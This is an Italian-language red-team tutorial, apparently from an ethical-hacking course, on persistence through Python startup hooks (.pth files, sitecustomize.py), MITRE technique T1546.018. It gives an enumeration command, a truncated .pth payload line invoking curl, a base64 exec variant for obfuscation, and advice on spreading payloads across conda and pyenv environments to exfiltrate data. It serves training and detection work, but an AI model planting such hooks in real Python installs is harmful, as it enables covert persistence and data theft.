Persistenza via Python: Python Startup Hooks (T1546.018)
La tecnica T1546.018 sfrutta i meccanismi di inizializzazione dell'interprete Python per ottenere esecuzione automatica di codice arbitrario ogni volta che l'interprete viene invocato. Gli attaccanti abusano di tre superfici principali: i file di configurazione dei percorsi con estensione .pth, il modulo sitecustomize.py e il modulo usercustomize.py. Tutti questi elementi vengono processati automaticamente dal modulo site durante il bootstrap dell'interprete.
I file .pth collocati nelle directory site-packages o dist-packages servono nominalmente a estendere il search path dei moduli, ma qualsiasi riga che inizia con import viene eseguita al lancio di Python. Analogamente, sitecustomize.py e usercustomize.py, se presenti nel path, vengono importati automaticamente eseguendo il codice contenuto.
La tecnica è mappata sulle tattiche TA0003 (Persistence) e TA0004 (Privilege Escalation): la persistenza è ottenuta perché il payload rivive a ogni invocazione dell'interprete, mentre l'escalation emerge quando l'interprete viene lanciato da account privilegiati, cron di root, servizi di automazione o pipeline CI/CD. L'impatto è particolarmente critico in ambienti dove Python è ubiquo — server di produzione, orchestratori DevOps, sistemi di data science, container — perché la superficie d'esecuzione moltiplica le occasioni di trigger del codice malevolo senza necessità di modificare binari di sistema o servizi systemd.
L'esercizio red team su T1546.018 parte dall'enumerazione delle directory Python scrivibili. Su Linux il comando python3 -c "import site; print(site.getsitepackages(), site.getusersitepackages())" restituisce i percorsi validi. Il target ideale è quello dove l'utente corrente ha permessi di scrittura senza sudo, tipicamente ~/.local/lib/python3.x/site-packages/ per persistenza user-scope, oppure /usr/lib/python3/dist-packages/ per persistenza system-wide se si dispone di privilegi elevati.
Il payload più elegante è un file .pth. Basta creare un file con nome arbitrario (es. zzz_config.pth) contenente una singola riga:
import os; os.system("curl
Attenzione: la riga deve iniziare letteralmente con import e stare su una singola linea, altrimenti il parser di site.py la ignora. Una variante più stealth usa import sys; exec(__import__('base64').b64decode('...')) per offuscare il payload.
L'alternativa sitecustomize.py consente codice Python completo. Il file va collocato in una directory presente in sys.path e viene importato prima di qualsiasi script utente. Su distribuzioni Debian/Ubuntu il file è già presente in /usr/lib/python3/dist-packages/ e va patchato piuttosto che sostituito, per evitare la rottura di funzionalità legittime.
Per laboratori didattici, i seguenti tool sono utili:
- Atomic Red Team (open source): la suite di Red Canary include test per persistence tramite interpreti scriptabili.
- PurpleSharp (open source): utile per orchestrare la sequenza attacco-detection.
- Sysmon for Linux (open source): fondamentale per validare la telemetria lato blue team.
Una catena d'attacco realistica combina T1546.018 con T1059.006 (Python) per esecuzione iniziale e T1071.001 per il C2. Il trigger avviene quando l'interprete è invocato da: cron job schedulati (/etc/cron.d/), hook Git pre-commit, script di deploy Ansible, virtualenv attivati in sessioni SSH, container che eseguono entrypoint Python.
Per massimizzare l'impatto in un engagement, verificare la presenza di pyenv o conda: ogni environment ha il proprio site-packages e ognuno rappresenta un vettore di persistenza indipendente. Un payload piazzato nel site-packages di un environment usato da un data engineer con accesso a data lake produce esfiltrazione a ogni notebook Jupyter aperto.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo